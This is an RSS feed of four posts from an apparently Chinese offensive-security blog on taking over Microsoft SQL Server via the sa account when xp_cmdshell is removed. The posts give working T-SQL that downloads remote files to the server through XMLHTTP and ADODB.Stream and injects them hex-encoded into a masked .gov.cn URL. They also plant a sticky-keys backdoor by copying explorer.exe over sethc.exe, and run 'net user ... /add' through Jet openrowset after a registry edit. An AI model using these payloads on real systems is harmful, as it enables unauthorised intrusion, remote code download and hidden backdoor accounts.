<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu`s Blog &#187; SA</title>
	<atom:link href="http://www.4shell.org/archives/tag/sa/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Thu, 29 Jul 2010 03:57:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>xml.http 下载拿SHELL</title>
		<link>http://www.4shell.org/archives/939.html</link>
		<comments>http://www.4shell.org/archives/939.html#comments</comments>
		<pubDate>Fri, 24 Jul 2009 03:22:03 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[SA]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/939.html</guid>
		<description><![CDATA[注意以下语句在SA权限下执行，对于N多扩展存储过程被删除时使用效果最佳:
DECLARE
@B varbinary(8000),
@hr int,
@http INT,
@down INT
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output ;EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,[Send],null ;EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;EXEC @hr=sp_oacreate [ADODB.Stream],@down output ;EXEC @hr=sp_OASetProperty @down,[Type],1 ;EXEC @hr=sp_OASetProperty @down,[mode],3 ;EXEC @hr=sp_oamethod @down,[Open],null ;EXEC @hr=sp_oamethod @down,[Write],null,@B ;EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--
将以上代码修改后转化为十六进制。然后提交：
http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8 ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--
相关文章

sa权限下无xp_cmdshell下取权限又一简单方法
sa 无xp_cmdshell下提限又一简单方法
SA下不用恢复xp_cmdshell和xplog70.dll也执行命令

]]></description>
			<content:encoded><![CDATA[<p>注意以下语句在SA权限下执行，对于N多扩展存储过程被删除时使用效果最佳:</p>
<blockquote><p>DECLARE<br />
@B varbinary(8000),<br />
@hr int,<br />
@http INT,<br />
@down INT<br />
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output ;EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,[Send],null ;EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;EXEC @hr=sp_oacreate [ADODB.Stream],@down output ;EXEC @hr=sp_OASetProperty @down,[Type],1 ;EXEC @hr=sp_OASetProperty @down,[mode],3 ;EXEC @hr=sp_oamethod @down,[Open],null ;EXEC @hr=sp_oamethod @down,[Write],null,@B ;EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--<br />
将以上代码修改后转化为十六进制。然后提交：<br />
<a rel="external" href="http://www.xxxx.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8" target="_blank">http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8</a> ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/809.html" title="sa权限下无xp_cmdshell下取权限又一简单方法">sa权限下无xp_cmdshell下取权限又一简单方法</a></li>
<li><a href="http://www.4shell.org/archives/257.html" title="sa 无xp_cmdshell下提限又一简单方法">sa 无xp_cmdshell下提限又一简单方法</a></li>
<li><a href="http://www.4shell.org/archives/242.html" title="SA下不用恢复xp_cmdshell和xplog70.dll也执行命令">SA下不用恢复xp_cmdshell和xplog70.dll也执行命令</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/939.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sa权限下无xp_cmdshell下取权限又一简单方法</title>
		<link>http://www.4shell.org/archives/809.html</link>
		<comments>http://www.4shell.org/archives/809.html#comments</comments>
		<pubDate>Thu, 25 Jun 2009 09:21:55 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[SA]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/809.html</guid>
		<description><![CDATA[有了sa但无xp_cmdshell ，怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块，反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法<br/>（很多服务器都把'wscript.shell'给删了。）<br/>看到既然能用sp_oacreate，sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject<br/>网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制，删除文件吧。。<br/>...
]]></description>
			<content:encoded><![CDATA[<p>有了sa但无xp_cmdshell ，怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块，反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法<br/>（很多服务器都把'wscript.shell'给删了。）<br/>看到既然能用sp_oacreate，sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject<br/>网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制，删除文件吧。。<br/>上网找了些资料，得到下面方法：<br/>复制文件：<br/><br/>declare @o int<br/>exec sp_oacreate 'scripting.filesystemobject', @o out <br/>exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';<br/><br/>declare @oo int<br/>exec sp_oacreate 'scripting.filesystemobject', @oo out <br/>exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';<br/><br/>成功后3389登陆按五次shift键。成功进入服务器。一直向上点"我的电脑"右键"管理" 用户管理直接加用户。<br/>此法随无技术可言，希望对某些人有点用。</p>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/939.html" title="xml.http 下载拿SHELL">xml.http 下载拿SHELL</a></li>
<li><a href="http://www.4shell.org/archives/257.html" title="sa 无xp_cmdshell下提限又一简单方法">sa 无xp_cmdshell下提限又一简单方法</a></li>
<li><a href="http://www.4shell.org/archives/242.html" title="SA下不用恢复xp_cmdshell和xplog70.dll也执行命令">SA下不用恢复xp_cmdshell和xplog70.dll也执行命令</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/809.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sa 无xp_cmdshell下提限又一简单方法</title>
		<link>http://www.4shell.org/archives/257.html</link>
		<comments>http://www.4shell.org/archives/257.html#comments</comments>
		<pubDate>Sun, 09 Dec 2007 16:58:10 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[SA]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/257.html</guid>
		<description><![CDATA[有了sa但无xp_cmdshell ，怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块，反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法<br />（很多服务器都把'wscript.shell'给删了。）<br />看到既然能用sp_oacreate，sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject<br />网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制，删除文件吧。。<br />上网找了些资料，得到下面方法：
]]></description>
			<content:encoded><![CDATA[<p>有了sa但无xp_cmdshell ，怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块，反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法<br />（很多服务器都把'wscript.shell'给删了。）<br />看到既然能用sp_oacreate，sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject<br />网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制，删除文件吧。。<br />上网找了些资料，得到下面方法：<br />复制文件：
<p class="code"><code>declare&nbsp;@o&nbsp;int<br />exec&nbsp;sp_oacreate&nbsp;'scripting.filesystemobject',&nbsp;@o&nbsp;out&nbsp;<br />exec&nbsp;sp_oamethod&nbsp;@o,&nbsp;'copyfile',null,'c:\windows\explorer.exe'&nbsp;,'c:\windows\system32\sethc.exe';</p>
<p>declare&nbsp;@oo&nbsp;int<br />exec&nbsp;sp_oacreate&nbsp;'scripting.filesystemobject',&nbsp;@oo&nbsp;out&nbsp;<br />exec&nbsp;sp_oamethod&nbsp;@oo,&nbsp;'copyfile',null,'c:\windows\system32\sethc.exe'&nbsp;,'c:\windows\system32\dllcache\sethc.exe';<br /></code></p>
<p>成功后3389登陆按五次shift键。成功进入服务器。一直向上点”我的电脑“右键“管理” 用户管理直接加用户。<br />此法随无技术可言，希望对某些人有点用。</p>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li>
<li><a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li>
<li><a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li>
<li><a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li>
<li><a href="http://www.4shell.org/archives/998.html" title="Serv-U FTP Server v8 本地提权">Serv-U FTP Server v8 本地提权</a></li>
<li><a href="http://www.4shell.org/archives/939.html" title="xml.http 下载拿SHELL">xml.http 下载拿SHELL</a></li>
<li><a href="http://www.4shell.org/archives/937.html" title="针对Dbowner权限下的提权脚本(转)">针对Dbowner权限下的提权脚本(转)</a></li>
<li><a href="http://www.4shell.org/archives/809.html" title="sa权限下无xp_cmdshell下取权限又一简单方法">sa权限下无xp_cmdshell下取权限又一简单方法</a></li>
<li><a href="http://www.4shell.org/archives/775.html" title="关于html本地权限问题">关于html本地权限问题</a></li>
<li><a href="http://www.4shell.org/archives/429.html" title="Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)">Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/257.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SA下不用恢复xp_cmdshell和xplog70.dll也执行命令</title>
		<link>http://www.4shell.org/archives/242.html</link>
		<comments>http://www.4shell.org/archives/242.html#comments</comments>
		<pubDate>Sun, 18 Nov 2007 15:42:38 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[SA]]></category>
		<category><![CDATA[小技巧]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/242.html</guid>
		<description><![CDATA[也被一些人不断的再次提出来，<br />为了方便自己记忆再写出来，<br />在这种情况下，要执行命令，条件是要有xp_regwrite。<br /><br />首先开启沙盘模式：
]]></description>
			<content:encoded><![CDATA[<p>sa下删除xp_cmdshell和xplog70.dll时候的一种办法，不算新的了，<br />也被一些人不断的再次提出来，<br />为了方便自己记忆再写出来，<br />在这种情况下，要执行命令，条件是要有xp_regwrite。</p>
<p>首先开启沙盘模式：
<p class="code"><code>exec&nbsp;master..xp_regwrite&nbsp;'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1<br /></code></p>
<p>然后利用jet.oledb执行系统命令
<p class="code"><code>select&nbsp;*&nbsp;from&nbsp;openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select&nbsp;shell("cmd.exe&nbsp;/c&nbsp;net&nbsp;user&nbsp;cnfjhh&nbsp;fst&nbsp;/add")')<br /></code></p>
<p></p>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li>
<li><a href="http://www.4shell.org/archives/1720.html" title="更改windows2003最大连接数">更改windows2003最大连接数</a></li>
<li><a href="http://www.4shell.org/archives/1591.html" title="让千千静听不再弹出广告">让千千静听不再弹出广告</a></li>
<li><a href="http://www.4shell.org/archives/1476.html" title="手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】">手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1110.html" title="wp-postviews和Wp Super Cache有冲突">wp-postviews和Wp Super Cache有冲突</a></li>
<li><a href="http://www.4shell.org/archives/1109.html" title="流量过大，不得不启用WP Super Cache">流量过大，不得不启用WP Super Cache</a></li>
<li><a href="http://www.4shell.org/archives/1088.html" title=" 让 Windows 开机自动拨号上网"> 让 Windows 开机自动拨号上网</a></li>
<li><a href="http://www.4shell.org/archives/1035.html" title="防止.NET木马列所有站物理路径，防止.JPG类型木马">防止.NET木马列所有站物理路径，防止.JPG类型木马</a></li>
<li><a href="http://www.4shell.org/archives/1024.html" title="some shit tips">some shit tips</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/242.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
